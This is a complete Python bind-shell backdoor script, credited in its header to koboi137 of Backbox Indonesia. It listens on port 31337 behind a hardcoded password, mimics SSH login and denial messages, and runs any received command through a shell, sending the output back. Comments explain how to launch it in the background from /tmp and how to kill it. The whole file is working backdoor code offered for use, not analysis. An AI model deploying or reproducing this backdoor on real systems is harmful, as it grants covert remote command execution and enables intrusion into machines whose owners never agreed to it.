Bind shell

#!/usr/bin/env python
#
# Python bind shell
# Author : koboi137 ( Backbox Indonesia )
#
# How to use
# $ chmod +x bind.py
# $ echo $(/tmp/bind.py) &
#
# To kill this backdoor
# user[/tmp] >> killme
#


import socket
import pwd
import os
import thread
import subprocess
import sys

PORT=31337
PASS='password'

def connection(conn):
    usr = pwd.getpwuid(os.getuid()).pw_name
    hst = socket.gethostname()
    conn.setblocking(1)
    conn.send("{}@{}'s password: ".format(usr, hst))
    passwd = conn.recv(1024)
    if passwd.strip('\r\n') == PASS:
        while True:
            usr = pwd.getpwuid(os.getuid()).pw_name
            pth = os.getcwd()
            conn.send('{}[{}] >> '.format(usr, pth))
            data = conn.recv(1024)
            if data.strip('\r\n') == 'quit' or data.strip('\r\n') == 'exit':
                conn.close()
                break
            elif data.strip('\r\n').startswith('killme'):
                os.system('kill -9 {}'.format(os.getpid()))
            elif data.strip('\r\n').startswith('cd'):
                try: os.chdir(data.strip('\r\n')[3:])
                except: conn.send('The system path cannot be found!\n')
            else:
                proc = subprocess.Popen(data.strip('\r\n'), shell=True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
                stdoutput = proc.stdout.read() + proc.stderr.read()
                conn.send(stdoutput)
    else:
        conn.send('Permission denied (publickey,password).\n')
        conn.close()

while True:
    try:
        s = socket.socket()
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind(('', PORT))
        s.listen(5)
        while True:
            s.settimeout(2)
            try: conn, addr = s.accept()
            except socket.timeout: continue

            if(conn):
                s.settimeout(None)
                thread.start_new_thread(connection, (conn,))

    except: pass